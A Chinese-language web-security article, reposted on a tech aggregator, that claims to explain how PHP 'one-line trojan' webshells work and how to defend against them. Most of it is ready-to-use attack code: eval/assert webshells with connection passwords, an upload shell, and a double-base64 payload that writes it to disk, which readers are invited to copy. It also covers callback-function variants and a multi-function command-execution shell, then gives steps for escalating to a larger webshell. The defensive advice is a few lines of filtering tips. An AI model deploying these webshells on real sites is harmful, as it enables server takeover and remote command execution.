网站安全问题针对一句话木马函数的普析与防范
本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.html
PHP网站安全防一句话木马入侵
一、首先是菜刀一句话木马:菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。
1、eval()函数
#传入的参数必须为PHP代码,既需要以分号结尾。 #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POST['cmd']);?> |
那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个eval函数的get post提交直接过滤掉。)
<?php @$temp = $_FILES['upload_file']['tmp_name']; @$file = basename($_FILES['upload_file']['name']); if (empty ($file)){ echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?> |
原理是利用文件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写入xxxx到脚本执行文件当前目录下的shell.php文件。
由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。
在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。
接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。
cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0 5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc 0aU8zMTlQejQ9))); |
成功得到上传马,之后就是上传我们的大马了。
2、assert()函数
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。 #命令執行:cmd=system(whoami) #菜刀连接密码:cmd <?php @assert($_POST['cmd'])?> |
上传大马,这一步参考eval函数。
其他的代码执行函数还有以下几个,均给出了菜刀一句话木马和连接方式:
(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个assert()函数的get post提交直接过滤掉。)
3、preg_replace()
#preg_replace('正则规则','替换字符','目标字符') #执行命令和上传文件参考assert函数(不需要加分号)。 #将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test"); |
这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
(这是根据黑客的角度去模拟进行上传木马,解决的建议方法就是针对这个preg_replace("/test/e",$_POST["函数的get post提交直接过滤掉。)
4、create_function()函数
#创建匿名函数执行代码 #执行命令和上传文件参考eval函数(必须加分号)。 #菜刀连接密码:cmd $func =create_function('',$_POST['cmd']);$func(); |
5、array_map()函数
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。 #命令执行http://localhost/123.php?func=system cmd=whoami #菜刀连接http://localhost/123.php?func=assert 密码:cmd $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array; |
6、call_user_func()函数
#传入的参数作为assert函数的参数 #cmd=system(whoami) #菜刀连接密码:cmd call_user_func("assert",$_POST['cmd']); |
7、call_user_func_array()函数
#将传入的参数作为数组的第一个值传递给assert函数 #cmd=system(whoami) #菜刀连接密码:cmd $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); |
8、array_filter()函数
#用回调函数过滤数组中的元素:array_filter(数组,函数) #命令执行func=system&cmd=whoami #菜刀连接http://localhost/123.php?func=assert 密码cmd $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); |
9、uasort()函数
#php环境>=<5.6才能用 #uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。 #命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami); #菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd usort($_GET,'asse'.'rt'); |
二、命令执行函数
PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。
<?php $command=$_POST['cmd']; #function exec_all($command) #{ //system函数可执行并直接显示结果 if(function_exists('system')) { echo "<pre>"; system($command); echo "</pre>"; } //passthru函数可执行并直接显示结果 else if(function_exists('passthru')) { echo "<pre>"; passthru($command); echo "</pre>"; } //shell_exec函数可执行但需要加echo才能显示结果 else if(function_exists('shell_exec')) { echo "<pre>"; echo shell_exec($command); echo "</pre>"; } //function exec(命令,以数组形式的保存结果,命令执行的状态码) //可执行,但需要加echo才能显示结果 else if(function_exists('exec')) { echo "<pre>"; exec($command,$output); echo "</br>"; print_r($output); echo "</pre>"; } //popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。 //返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写) //此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。 //若出错,则返回 false。 else if(function_exists('popen')) { $handle = popen($command , "r"); // Open the command pipe for reading if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fread($handle, 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fgets($handle,1024); } echo "<pre>"; } } pclose($handle); } //proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。 else if(function_exists('proc_open')) { $descriptorspec = array( 1 => array("pipe", "w"), // stdout is a pipe that the child will write to ); $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fread($pipes[1], 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fgets($pipes[1],1024); } echo "<pre>"; } } #pclose($handle); } else { echo 'GG'; } #} |
其他函数:
暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。
?
<?php $cmd=$_POST['cmd']; echo "<pre>"; //可执行并直接显示结果,反引号,波浪键。 //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体 //所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。 echo `$cmd`; //注意,这个只显示结果的第一行,因此基本只能执行whoami //ob_start:打开缓冲区,需要system函数开启 $a = 'system'; ob_start($a); echo "$_POST[cmd]"; ob_end_flush(); echo "</pre>"; |
上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传脚本大马呢,这里就要涉及到一下CMD命令进行上传木马了
成功执行命令之后,首先利用【dir】命令得到网站路径,如果是mysql注入得到的os-shell也可用【dir d:\ /b】命令查找存放网站程序的路径。
这些一句话木马代码所用到的函数千变万化,那么我们站在黑客的角度进行防御 就要杜绝这些函数来执行上传脚本木马来对网站进行安全防范,平常也可以通过搜索这些函数来查找网站的脚本文件有无被上传这些一句话木马函数的脚本,综合上述多个代码函数的黑客入侵应用方法要对程序中的get post head提交方式进行过滤以防再次被黑客入侵。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
SignalR QuickStart
原文: SignalR QuickStart SignalR 是一个集成的客户端与服务器库,基于浏览器的客户端和基于 ASP.NET 的服务器组件可以借助它来进行双向多步对话。 换句话说,该对话可不受限制地进行单个无状态请求/响应数据交换;它将继续,直到明确关闭。 对话通过永久连接进行,允许客户端向服务器发送多个消息,并允许服务器做出相应答复,值得注意的是,还允许服务器向客户端发送异步消息。它和AJax类似,都是基于现有的技术。本身是一个复合体。一般情况下,SignalR会使用Javascript的长轮询( long polling),实现客户端和服务端通信。在WebSockets出现以后,SignalR也支持WebSockets通信。当然SignalR也使用了服务端的任务并行处理技术以提高服务器的扩展性。它的目标整个 .NET Framework 平台,它也不限 Hosting 的应用程序,而且还是跨平台的开源项目,支持Mono 2.10+,觉得它变成是 Web API 的另一种实作选择,但是它在服务端处理联机的功能上比 ASP.NET MVC 的 Web API 要强多了,更重要的...
- 下一篇
java对象的强引用,软引用,弱引用和虚引用
1,杂谈 在Java中,虽然不需要程序员手动去管理对象的生命周期,但是如果希望某些对象具备一定的生命周期的话(比如内存不足时JVM就会自动回收某些对象从而避免OutOfMemory的错误)就需要用到软引用和弱引用了。 小编转眼已经做开发很多年了,在帝都生活都快跟不上生活节奏了,伴随物价、工作的变动几乎没2年都会搬家一次,日常用品也会越来越多搬家也就越来越麻烦,记得最近的一次搬家专门找了一辆金杯把里面都塞满了,新家虽然比原来住的地方大了点,但是仍然空间有限啊。先说说开始准备搬家的时候先整理了一下内务(打包、清理垃圾)。 前一天把这些年的所有日常用品、生活用品都整理出来了,一些经常喜欢穿的衣服、鞋子啊虽然都买了很长时间了,还是把他们打包搬走了,搞不好明天就想穿上了。 再就是一些不知道什么时候可能被穿一次的衣服,真是取舍两难啊,最后决定如果打包的箱子能装下带走,装不下的话就当垃圾扔掉了。 还有一些长时间没出现在我眼前的东东,直接被我垃圾扔掉了,再也不会使用了,占地方。 从JDK1.2版本开始,把对象的引用分为四种级别,从而使程序能更加灵活的控制对象的生命周期。这四种级别由高到低依次为:强引用...
相关文章
文章评论
共有0条评论来说两句吧...